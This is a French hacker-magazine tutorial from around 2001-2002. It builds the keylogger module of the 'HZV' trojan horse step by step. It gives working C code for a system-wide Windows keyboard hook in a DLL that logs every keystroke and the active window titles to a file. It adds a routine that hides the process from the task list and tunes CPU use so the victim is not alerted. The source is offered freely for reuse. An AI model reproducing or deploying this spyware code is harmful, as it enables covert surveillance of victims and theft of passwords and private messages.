--[ Hackerz-Voice RemØte Control ]--

Suite au succès du cheval de troie HZV, paru dans Hackerz-Voice 4, que vous avez été nombreux, semble-t-il, à apprécier, on a décidé de continuer dans la lancée. Pour le moment, c'est moi qui prends la relève de FozZy et de <d.ignis> en ce qui concerne la programmation.

Au programme, régulièrement, un nouveau module en C, sous forme de fonctions, à ajouter au code source déjà disponible sur le net(cf. webring !). Le but est d'arriver ainsi, au fur et à mesure à construire ensemble un vrai cheval de troie, digne de ce nom, c'est à dire capable d'écouter les touches frappées au clavier, de prendre une copie d'écran à distance, de transférer des fichiers entre le client et le serveur, de modifier la base de registre... Enfin tout ce qui est techniquement et raisonnablement possible de faire. Si vous avez des idées ou même des suggestions, n'hésitez pas, contactez-moi sur kickerman@caramail.com

Dans ce numéro, nous allons commencer par implémenter un Keylogger, un petit espion capable d'enregistrer dans un fichier toutes les touches frappées au clavier d'une machine.

Comme ce Keylogger est destiné à intégrer le cheval de troie HZV, il se doit d'être le plus petit possible, pour rester discret. C'est pourquoi j'ai fait le choix d'utiliser toujours les structures de base du C et non les MFC (Microsoft Foundation Classes). Les adeptes de Visual C++ comprendront combien il est dur de résister à la tentation car l'utilisation des MFC simplifie la tâche du programmeur. Mais en contrepartie, la taille du programme augmente d’environ 200 Ko...

Voilà une réponse à ceux qui se demanderaient mine de rien pourquoi on s'obstine à utiliser du C standart. Et non je ne fais pas ça par plaisir, c'est le prix de l'optimisation. Vous avez déjà vu un cheval de troie de 400 Ko passer inaperçu ?

 

______________________________

MÅ dule 1 : objectif Keylogger

[Avant de continuer plus loin votre lecture, je vous invite à venir prendre connaissance du code source complet du Module Keylogger sur http://www.multiprog.fr.st (site membre du Webring HZV) afin de vous faciliter la compréhension de ce qui va suivre. En effet il nous est impossible de le faire tenir ici faute de place.


_______________________
Je vous l'accorde, je ne commence peut-être pas par le plus facile avec le Keylogger. Mais bon, tout de même, ça se mérite ! Pour comprendre comment on va procéder, il faut un minimum de connaissances en programmation C, pour Win32 et puis si vous aviez quelques notions sur la programmation des DLL... Bon d'accord je vais essayer de vous expliquer tout ça.

Le problème posé ici est de savoir quand est-ce qu'une touche est tapée, et quelle est cette touche. Une fois de plus je remercie Microsoft (vous allez comprendre pourquoi).

Il faut savoir que Windows permet à n'importe quelle application de définir un HOOK. Un Hook (en français 'crochet') est un point particulier dans le mécanisme de gestion des messages Windows où une application peut installer un sous-routine dans le but d'observer les messages émis vers les autres applications. En fait, un Hook vous permet d'intercepter, et donc de modifier ou même de supprimer un message avant qu'il atteigne l'application à laquelle il est destiné. On peut aussi se contenter de simplement lire le contenu de chaque message que l'on intercepte de manière totalement transparente pour le reste du système.

Les fonctions qui sont chargées de recevoir les messages interceptés sont appelées fonctions filtres et sont distinguables selon le type de messages qu'elles interceptent.

Type de Hook

Les messages interceptés concernent :

WH_MSGFILTER

Les MessageBox, boites dialogue, menus et barres de défilement

WH_SYSMSGFILTER

Idem

WH_GETMESSAGE

Tout (sous-routine déclenchée par GetMessage ou PeekMessage )

WH_CALLWNDPROC

Tout (sous-routine déclenchée par SendMessage )

WH_JOURNALRECORD

Le clavier et la souris (messages en lecture seulement) et sont destinés à être enregistrés

WH_JOURNALPLAYBACK

Ce Hook permet de re-émettre des messages enregistrés par un Hook WH_JOURNALRECORD. Ce Hook sert par exemple pour les macros.

WH_KEYBOARD

Le clavier (contrôle total :)

WH_MOUSE

La souris (contrôle total :)

WH_CBT

Toutes les opérations affectant les fenêtres : création, réduction agrandissement. (Ce type de Hook est très puissant.)

WH_DEBUG

Les Hooks eux-mêmes ! (vous pouvez court-circuiter n’importe quel type de Hook avec un Hook WH_DEBUG)

Pour mettre en place notre Keylogger nous allons utiliser un Hook WH_KEYBOARD. Mais ça, je pense que vous l’aviez déjà deviné.

La fonction SetWindowsHookEx permet de définir de manière relativement simple n’importe quel type de Hook. Elle prend en compte plusieurs arguments, au nombre de quatre, et a le prototype suivant :

HHOOK SetWindowsHookEx(

int idHook, //le type de Hook à installer, ici : WH_KEYBOARD

HOOKPROC lpfn, // l’adresse de la fonction filtre, castée en HOOKPROC

HINSTANCE hMod, // Handle de l’application contenant la fonction filtre

DWORD dwThreadId // Thread associé, ici mis à 0

);

Si la définition du Hook réussit, la fonction retourne le Handle du Hook que l’on vient de définir, sinon elle retourne 0.

EXE ou DLL ?

La fonction filtre peut-être placée dans différents types d’exécutables. Elle peut appartenir à un programme normal (.EXE), on dit alors que le Hook est un Hook de Thread, c’est à dire qu’il est implémenté dans l’application qui l’a définie ; ou bien appartenir à une DLL, on dit alors que le Hook est un Hook système.

Une DLL(Dynamic-Link Library) se différencie d’un EXE standart du fait que ses fonctions, compilées sont séparées du programme qui les utilise et qu’elle s’exécute dans son propre espace mémoire. Elle ne peut cependant pas fonctionner sans être appelée par un exécutable. L’intérêt de placer notre fonction filtre dans une DLL est simple : les fonctions filtres systèmes ont la priorité sur les autres fonctions filtres. De plus, leur exécution est plus fiable que celle des filtres de thread (j’ai testé un Hook de Thread qui interceptait mal, voire pas du tout les touches frappées sous Windows 98…).

Notre fonction filtre (système) va donc résider dans une DLL, et le programme, une fois compilé, pourra fonctionner sans problème sous Windows 95 et 98 aussi bien que sous Windows XP.

Se pose maintenant le problème d’obtenir le Handle de la DLL, pour pouvoir remplir l’argument hMod (HINSTANCE) de la fonction SetWindowsHookEx qui nous permet la création du Hook. Pour cela, étudions le prototype de la procédure DllMain des DLL (l’équivalent de main() pour un exécutable) :

BOOL APIENTRY DllMain( HINSTANCE hInstance,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

Une rapide observation indique que hInstance transmet le Handle de l’instance de la DLL. Parfait, c’est exactement ce qu’il nous fallait, déjà un premier problème de résolu. Mais ce n’est pas finit …

Lorsque la DLL est liée à un exécutable avant de pouvoir être utilisée, c’est cette procédure qui est appelée(1er cas). Elle est également appelée lorsque le programme n’a plus besoin de la DLL(2ème cas), pour lui permettre un nettoyage éventuel de sa mémoire. Le paramètre ul_reason_for_call (DWORD) nous permet de déterminer quel est l’objet de l’appel :

Extrait commenté de cHZV_Keyloger_DLL.cpp, procédure DllMain :

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

/* 1er cas : la DLL est liée à un exécutable avant de pouvoir être utilisée */

break;

case DLL_PROCESS_DETACH:

/* 2ème cas : le programme n’a plus besoin de la DLL, nettoyage de la mémoire si nécessaire …*/

break;

}

C’est là que je vais voir si vous avez bien suivi mon conseil… Alors, toujours pas le code source du module sous les yeux ? Vous ne pourrez pas dire que je ne vous aurais pas prévenu …

Bon ceux qui sont toujours là ont sûrement remarqué que le meilleur endroit pour prendre note du Handle hInstance de la DLL, c’est dans le cas d’un appel de type DLL_PROCESS_ATTACH. A ce moment là, nous avons deux alternatives :

1- Soit-on se sert directement de hInstance pour appeler SetWindowsHookEx et créer tout de suite le Hook (peu pratique)

2- Soit-on garde en mémoire hInstance dans une variable de type static et on reporte l’appel de SetWindowsHookEx pour la création du Hook à plus tard. (plus polyvalent).

C’est la deuxième possibilité que nous allons choisir, ce qui nous amène à ce qui suit :

Extrait de cHZV_Keyloger_DLL.cpp :

static HINSTANCE hDLLInstance; //Variable statique globale

[]

case DLL_PROCESS_ATTACH:

hDLLInstance = hInstance; /*Garde en mémoire l'instance pour SetWindowsHook()*/

break;

Création du Hook…

Maintenant que le Handle hInstance de la DLL est disponible à tout moment nous allons pouvoir l’utiliser pour créer un Hook à l’aide de la fonction SetWindowsHookEx dont nous avons étudié le prototype précédemment. L’appel de SetWindowsHookEx se fera dans une fonction exportée de la DLL pour plus de commodité.

Extrait de cHZV_Keyloger_DLL.cpp :

__declspec(dllexport) int Start_HZV_Keyloger(void)

{

hook = SetWindowsHookEx(WH_KEYBOARD, /*type de Hook */

(HOOKPROC)hzvKeyboardHook, /*Adresse de la fonction filtre */

hDLLInstance, /* Instance hInstance de la DLL */

0); /* Thread associé, ici mis à 0 */

return ((hook!=0)?1:0); /* Retourne 1 si tout se passe bien, sinon retourne 0 */

}

Si la création du Hook réussit, la fonction retourne 1, sinon elle retourne 0.

Le préfixe __declspec(dllexport) devant le nom de la fonction signifie qu’elle est exportée, c’est à dire qu’elle n’est pas réservée à l’usage interne de la DLL et qu’elle est destinée à être utilisée directement par le programme. Cependant ce préfixe ne se suffit pas à lui seul puisque les fonctions exportées doivent aussi être déclarées dans le fichier Header de la DLL. :

 

Extrait de cHZV_Keyloger_DLL.h :

[]

CHZV_KEYLOGER_DLL_API int Start_HZV_Keyloger(void); /*Déclare la fonction comme étant exportée. S’utilise conjointement avec le préfixe __declspec(dllexport) */

[...]

Une fois le Hook créé, il va falloir que le programme continue son exécution aussi longtemps que l’on voudra que la DLL reste en mémoire, donc que le Hook reste présent dans le mécanisme de gestion des messages Windows, et donc le keylogger actif. Observons la fonction WinMain de de cHZV_Keyloger.cpp :

/*Déclaration WinMain standard */

int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,

LPSTR lpCmdLine, int nCmdShow)

{

Show_HZV_Keyloger_Version(); /*Affiche la version du Keylogger par appel d’une fonction exportée de la DLL*/

int resultat = Start_HZV_Keyloger(); /*Définit le Hook toujours par appel appel d’une fonction exportée de la DLL*/

if(resultat==0){

MessageBox(NULL,"Impossible de définir le Hook","Hzv Keylogger",MB_OK);

}

else{ /* Si la définition du Hook a réussi … */

while(1){

/*alors on entre dans une boucle infinie …*/

int attend_frappe=1;

Sleep(10); /*Suspend l’exécution pendant 10 millisecondes pour décharger le CPU*/

}

}

return 0;

}

Pour que le programme reste indéfiniment en cours d’exécution, il suffit de le faire entrer dans une boucle infinie (while(1){…}). Cependant en consultant le gestionnaire des tâches de Windows, je me suis aperçu que l’utilisation du processeur grimpait en flèche lorsque je démarrais le Keylogger, ce qui aurait pu alerter l’utilisateur comme je l’ai été. J’ai alors ajouté l’instruction Sleep(10); chargée de suspendre l’exécution du programme pendant 10 millisecondes dans la boucle infinie et la charge du processeur est retombée de 99% à 1%. Si vous avez le même problème avec un de vos programmes, vous savez comment le résoudre maintenant :)

Pour maintenir le Hook en place, j’ai aussi pensé à mettre cette boucle infinie de sorte qu’elle soit uniquement appelée lors d’un appel de type DLL_PROCESS_DETACH afin d’empêcher la DLL de se terminer, mais mes efforts se sont immédiatement vus couronnés d’un écran bleu. La façon la plus simple de garder le Keylogger actif est donc d’utiliser une boucle infinie au niveau du programme de lancement de la DLL (cHZV_Keyloger.exe) comme l’illustre le code source ci-dessus.

La fonction filtre hzvKeyboardHook()

Maintenant que nous avons vu comment maintenir l’exécution du programme indéfiniment, nous allons concentrer nos efforts sur le cœur du Keylogger : la fonction filtre. Observons tout d’abord le prototype de la fonction filtre hzvKeyboardHook() :

LRESULT CALLBACK hzvKeyboardHook(int nCode, WORD wParam, DWORD lParam )

La première chose à relever c’est que cette fonction à une valeur de retour de type LRESULT, c’est à dire un LONG, un entier signé, de 32 bits, qui a son utilité comme nous allons le voir ci-dessous. Ensuite, le préfixe CALLBACK signifie que notre fonction est une fonction de type ‘CALLBACK’, destinée à être appelée par Windows, et non pas par une application. C’est le cas des fonctions filtres, et c’est la raison pour laquelle elles sont parfois apparentées à des fonctions CALLBACK ordinaires. Plus loin, le paramètre int nCode est destiné à informer le programme du statut du message (ici concernant le clavier) intercepté, à savoir si ce dernier a été ou non enlevé de la chaîne des messages Windows par une autre application suite à un appel de la fonction PeekMessage (fonction qui sert à être informé des messages reçus par une autre fenêtre). Si PeekMessage a été appelée avec l’indicateur wRemoveMsg mis à PM_NOREMOVE alors le message n’est pas supprimmé de la chaîne de messages ; sinon, si l’indicateur wRemoveMsg est mis à PM_REMOVE, alors le message l’est. Ensuite, le paramètre wParam (WORD) transmet au programme le code virtuel (virtual-key code) de la touche qui est à l’origine du message. Ce paramètre est le plus important, c’est grâce à lui que nous pouvons obtenir le code Ascii de la touche afin de la représenter de façon intelligible par l’homme après l’avoir converti comme nous allons le voir plus bas. Enfin, le paramètre lParam (DWORD) combiné avec différents masques permet d’obtenir quelques informations supplémentaires sur le message, comme nous l’apprends l’article concernant la fonction filtre KeyboardProc (nom donné par Microsoft à sa fonction Hook de type WH_KEYBOARD) tiré de la MSDN library. Selon ce dernier, lParam spécifie selon sa valeur :

-le nombre de répétitions de la touche (lParam allant de 0 à 15)

-le scan-code (valeur qui permet d’identifier physiquement une touche sur le clavier) de la touche (lParam allant de 16 à 23)

-le type de la touche concernée : spécial ou non, comme la touche F1 (lParam vallant 24)

-le contexte de la touche, c’est à dire si elle est ou non combinée à la touche Alt (lParam vallant 29)

-l’état précédent de la touche, appuyée ou non (lParam vallant 30) et sa transition : si elle est en train d’être appuyée ou relachée (lParam vallant 31).

Je vous laisse réfléchir à la précision des informations qu’il est possible de récupérer grâce à ce Hook.

Nous allons maintenant effectuer une analyse linéaire de la fonction pour comprendre comment elle procède.

En premier lieu, on prépare la valeur de retour de la fonction une bonne fois pour toute :

LRESULT NextHook = CallNextHookEx( hook, nCode, wParam, lParam );" en passant le message au Hook suivant dans la chaîne des messages Windows. Cette étape est nécessaire pour que le système de Hook continue de fonctionner correctement, et peut ce faire indistinctement avant ou après avoir traité de le message dans notre fonction filtre. La fonction " CallNextHookEx "  retourne une valeur codée sur 32 bits (LRESULT) que l’on va renvoyer, pour terminer notre fonction filtre au moment venu (" return NextHook; ").

Ensuite, il est important de vérifier si la touche qui nous est passée n’a pas déjà été traitée (si c’est une répétition). Pour cela, on se sert de lParam combiné avec un masque ET logique :

if (! ((DWORD)lParam & 0x40000000) )

return NextHook; /*Si c’est une répétition alors on termine et on passe la main à un autre Hook /* "

Nous allons ensuite ouvrir le fichier dans lequel le keylogger va enregistrer les touches tapées. " fWrite=fopen(hzvKEYLOGER_LOG_PATH,"a+"); "

Son chemin d’accès est déterminé par la variable (que nous avons définie juste après les inclusions des fichiers headers) : " char* hzvKEYLOGER_LOG_PATH = "c:\\windows\\bureau\\Key-logs.txt"; "  

Puis la fonction filtre appelle la fonction " CheckWindowChange(); " chargée d’inscrire dans le fichier log le titre de la fenetre active dans laquelle les touches sont tapées. Ce qui pourra paraître à certains un gadget s’avère en fait être un petit plus pour qui veut comprendre qui appartient à quoi dans le fichier log. La fonction se comporte selon un principe simple : si le titre de la fenêtre active a changé alors on l’inscrit dans le fichier log, sinon c’est que c’est toujours la même fenêtre qui est active et on ne marque rien. Pour garder note du texte de la dernière fenêtre active entre les appels de la fonction on utilise une variable statique :

static char LastWindowText[256]=""; " (déclarée juste en dessous de hzvKEYLOGER_LOG_PATH pour ceux qui ont le code source sous les yeux). Voici notre fonction :

int CheckWindowChange(void)

{

HWND hzvHwnd = GetActiveWindow(); /* récupère le Handle de la fenêtre active */

char hzvTitleBuf[256]; /*prépare un buffer pour récupérer le titre de la fenêtre active : */

GetWindowText(hzvHwnd, (LPTSTR) hzvTitleBuf, 255); /*Récupère le titre de la fenêtre active grâce à son Handle et stoque son titre dans hzvTitleBuf */

if( strcmp(hzvTitleBuf,LastWindowText) ) /*Si le titre de la fenetre active a changé */

{

strcpy(LastWindowText,hzvTitleBuf); /* alors remet à jour LastWindowText, */

char message[300]; /* prépare une variable tampon pour utiliser wsprintf, */

wsprintf(message,"\n\n== Hzv Keyloger by KicKEr ==> Fenetre '%s'\n",hzvTitleBuf); /* et formate le titre de la fenêtre et le message à inscrire dans le fichier log. Vous pouvez aussi ajouter l’heure si besoin… */

WriteSpecialMsg(message); /* et enfin inscrit ce message dans le fichier log*/

}

return 0;

"

La fonction " WriteSpecialMsg " sert à enregistrer dans le fichier un message quelconque. On s’en sert dans la fonction " CheckWindowChange " (cf. ci-dessus) mais aussi plus loin dans la fonction filtre pour symboliser les touches spéciales comme nous allons le voir. C’est une fonction très simple :

/* Exemple de fonction privée à usage interne de la DLL (non-exportée) */

int WriteSpecialMsg(char msg[])

{

char charactere;

int len=strlen(msg);

for(int i=0; i<len;i++) /* pour chaque caractère du message à enregistrer … */

{

charactere=msg[i]; /*on l’isole … */

fwrite(&charactere,1,1,fWrite); /* et on l’enregistre dans le fichier log. */

}

return 0;

} "

-Revenons à notre fonction filtre-

Ensuite, on entre dans la partie la plus importante de la fonction filtre, à savoir le " switch(wParam) " qui va nous permettre d’agir différemment selon le touche à laquelle nous avons affaire. C’est à dire selon que la touche à traiter est une touche ‘spéciale’ comme Ctrl, Alt, Suppr, Entrée, etc… ou bien une touche alphanumérique comme ‘aà z / Aà Z / 1à 9’. Si la touche est une touche spéciale alors on essaye de la symboliser afin de l’enregister dans le fichier log. Ainsi la touche Ctrl devient [Ctrl], la touche Suppr : [DEL], les touches directionnelles comme la flèche gauche : [<-] etc… Ce qui est mis en pratique par le code suivant :

switch(wParam)

{

/*touches spéciales : */

case VK_RETURN: WriteSpecialMsg("\n"); break; /*touche Entrée */

case VK_CONTROL: WriteSpecialMsg("[Ctrl]"); break; /*touche Ctrl } Alt+Ctrl<=>AltGr */

case VK_MENU : WriteSpecialMsg("[Alt]"); break; /*touche Alt } */

case VK_DELETE: WriteSpecialMsg("[DEL]"); break; /*touche Suppr */

case VK_BAC: WriteSpecialMsg("[<===)]"); break; /*touche Effacement */

/* […] et ainsi de suite ...  */ "

Si, par contre, la touche est une touche alphanumérique alors on se contente de récupérer sa représentation habituelle :

/*touches alphanumériques : */

default:

BYTE HZVkeyboard_state[256];

GetKeyboardState(HZVkeyboard_state);

WORD wBuf;

UINT ScanCode=0;

ToAscii(wParam,ScanCode,HZVkeyboard_state,&wBuf,0);

ch=((char)wBuf);

fwrite(&ch,sizeof(ch),1,fWrite); /* enregistre la représentation de la touche */

break;

} "

Pour cela, on utilise la fonction HZVkeyboard_state :

int ToAscii( UINT uVirtKey, /* 1 */

UINT uScanCode, /* 2 */

PBYTE lpKeyState, /* 3 */

LPWORD lpChar, /* 4 */

UINT uFlags /* 5 */ );

Elle nécessite plusieurs paramètres pour être appelée :

1- Le code virtuel de la touche (virtual-key code) qui identifie la touche sur le clavier, de façon interprêtable par le driver de clavier Windows. Dans notre fonction filtre, nous allons transmettre pour cet argument, la variable wParam

2- Le Scan-code de la touche, identifiant la touche physiquement sur le clavier. Dans notre cas, ce paramètre est mis à 0

3- Un pointeur vers un tableau de 256 octets reflêtant l’état actuel du clavier (touches pressées, relachées …)

Ce tableau est obtenu grâce à l’appel de la fonction GetKeyboardState(), qui nécessite qu’on lui passe en unique argument un pointeur vers un tableau de 256 octets. Ainsi, pour récupérer l’état actuel du clavier on écrira :

"  BYTE HZVkeyboard_state[256]; /* créé un tableau de 256 octets … */

GetKeyboardState(HZVkeyboard_state); /* et y sauvegarde l’état actuel du clavier*/

"

Si l’appel ne réussit pas, la fonction retourne zéro, sinon elle retourne une valeur autre que zéro.

Dans notre cas, on va donc passer le tableau HZVkeyboard_state en troisième paramètre.

4- Une variable qui va servir de buffer pour stoquer la représentation de la touche retournée par la fonction ToAscii. On utilisera un WORD (entier de 16 bits, non signé), nommé wBuf.

5- Et enfin, une variable spécifiant si un menu est actif. Nous mettrons cette valeur à zéro.

Ce qui nous amène à ce qui suit :

"  WORD wBuf; /* entier de 16 bits, non signé, destiné à recevoir la représentation de la touche */

UINT ScanCode=0; /* Scan-code de la touche */

ToAscii(wParam,ScanCode,HZVkeyboard_state,&wBuf,0); /* appelle ToAscii pour la conversion */

"

Ensuite, il nous faut convertir wBuf pour obtenir la représentation de la touche sous forme de variable de type char (caractère) pour pouvoir plus facilement l’enregistrer dans le fichier :

" char ch; /* définit une variable de type char (caractère sur 8 bits) */

[]

ch=((char)wBuf); /* caste wBuf (WORD) en variable de type char */

Note : la conversion de type s’effectue à l’aide de ce que l’on appelle un cast. Un cast s’effectue sous la forme : Variable_du_nouveau_type = (nouveau_type) Variable_ancien_type

Maintenant, il ne nous reste qu’à enregistrer la représentation de la touche dans le fichier et le tour est joué :

fwrite(&ch,sizeof(ch),1,fWrite); /* enregistre la représentation de la touche */

"

Il ne nous reste plus qu’à fermer le fichier log : " fclose(fWrite); " et à passer la main à un autre Hook :

" return NextHook;//Passe la main à un autre Hook "

 

Comment cacher l’exécution du Keylogger…

Voilà, on approche de la fin de cet article, mais avant de vous laisser, j’aimerais aborder un point qui a été volontairement laissé en suspend par Fozzy et <d.ignis>, celui de la furtivité du cheval de troie et plus généralement d'un programme, sous Windows. Dans notre cas, il faut que le Keylogger n’apparaisse pas lorsque l’utilisateur presse Ctrl+Alt+Suppr.

Pour cacher une application de la liste des programmes en cours, il faut appeler la fonction " RegisterServiceProcess ". (Cette fonction permet aussi à une application de continuer son exécution après la fermeture de la session de l’utilisateur.) Le problème est que cette fonction RegisterServiceProcess n’est pas une API " standart ", au sens propre du terme, et n’est donc pas utilisable par un appel direct de la fonction. Pour l’utiliser, il faut d’abord obtenir un pointeur vers la DLL Kernel32.dll puis se servir de ce pointeur pour appeler la fonction RegisterServiceProcess présente dans cette dernière. Le code source suivant présente la manière de procéder.

" int hzvRegisterServiceProcess( DWORD param1, DWORD param2 )

{

typedef DWORD (WINAPI *hzv_R_SERVICE_PROCESS)(DWORD,DWORD); /* crée un nouveau type pour nous permettre d’appeler RegisterServiceProcess */

hzv_R_SERVICE_PROCESS hzv_rsp; /*crée une variable de type hzv_R_SERVICE_PROCESS */

char Kernel32_path[255]; /* buffer pour stoquer l’adresse de la DLL */

HINSTANCE hKernel32; /* handle retourné par LoadLibrary pour accéder au fonctions de la DLL chargée en mémoire, ici Kernel32.dll */

int Resultat; /* valeur de retour de la fonction */

Resultat = 0; /*ici mis à zéro (c’est à dire : erreur) avant de commencer les opérations */

GetSystemDirectory( Kernel32_path, 255); /* récupère le chemin d’accès complet à la Dll Kernel32.dll */

strcat( Kernel32_path, "\\kernel32.dll" ); /* y ajoute \kernel32.dll pour que le chemin soit complet */

hKernel32 = LoadLibrary(Kernel32_path); /*charge la DLL en mémoire, récupère un handle vers cette dernière pour pouvoir appeler ses fonctions*/

if( hKernel32 != NULL ) {

hzv_rsp = (hzv_R_SERVICE_PROCESS)GetProcAddress(hKernel32,"RegisterServiceProcess"); /* si le handle semble être correct alors on récupère l’adresse de la fonction RegisterServiceProcess */

if( hzv_rsp != NULL ) { /* si on a bien réussit à obtenir l’adresse de la fonction … */

Resultat = 1; /* on met la valeur de retour de la fonction à 1 (succès) */

hzv_rsp(param1, param2 ); /* appelle la fonction RegisterServiceProcess grâce à son adresse */

}

FreeLibrary(hKernel32); /* signale que notre programme n’a plus besoin de la DLL. Si plus aucun programme ne se sert de cette dernière alors elle est déchargée de la mémoire  */

}

return Resultat; /* signale, si la fonction a bien réussit à remplir sa tâche ou non. */

/* Merci à http://programmer.multimania.com/cours.htm pour les exemples très instructifs mis à disposition. Je vous conseille d’aller y jeter un coup d’œil si vous avez un peu de temps. */

} "

Nous avons donc créé une nouvelle fonction pour simplifier les interactions avec le système. Pour appeler

RegisterServiceProcess, il suffit maintenant d’appeler notre fonction hzvRegisterServiceProcess. Ainsi pour cacher notre programme il faut écrire : " RegisterServiceProcess(0,1); " Le premier paramètre(O) signifiant que le programme à cacher est le notre, le second (1) signalant que l’on désire donner à notre programme le statut de service. Si hzvRegisterServiceProcess est appelée avec la valeur 1 en seconde paramètre, le programme redevient un programme ordinaire et redevient visible aux yeux de l’utilisateur.

 

[FIN]

Cette fois, c’est vraiment terminé. -:(

Dans un prochain numéro, nous verrons comment optimiser notre programme pour réduire sa taille à quelques Ko de sorte qu’il soit encore plus discret. Si vous avez des suggestions de module, ou des idées, n’hésitez pas, je le répète encore, envoyez moi un mail. Ne perdez pas de vue que le cheval de troie sera celui que l’on aura fait tous ensemble.

Au fait, je ne l’ai pas dit plus tôt parce que cela me semblait évident, mais, vous pouvez utiliser librement le code source du Keylogger et le modifier sans rien me demander (for non-commercial usage only ;). Bien sûr si vraiment le code vous a été très utile, vous pouvez toujours m’envoyer un email -:)

Et puis, pour ceux d’entre vous, qui débutent, qui ne programment pas encore en C, ou qui ne sont pas familiers avec les interactions et messages Windows, vous pourrez trouver un autre Keylogger basé sur un autre système que sur l’utilisation des Hooks, plus simple à comprendre, sur http://www.multiprog.fr.st. Ce Keylogger a été écrit en Visual Basic, il est également accompagné par un de mes articles, pour vous guider.

A ceux qui me disent que le basic est un langage dépassé et de " seconde catégorie ", je répondrai que la simplicité de son utilisation peut permettre à un néophyte de comprendre le fonctionnement d’un programme, et honnêtement, à mes yeux, c’est tout ce qui compte. Je leur demanderai donc de bien vouloir méditer la question plus en profondeur.

Sources et lectures conseillées :

-http://www.codeproject.com/dll/hooks.asp

-http://www.codeproject.com/useritems/apihijack.asp

-http://programmer.multimania.com/cours.htm

-http://www.codeproject.com/dll/ultimate_dll_header.asp

-MSDN Library : Win32 Hooks

-:)

KicKEr

2001-2002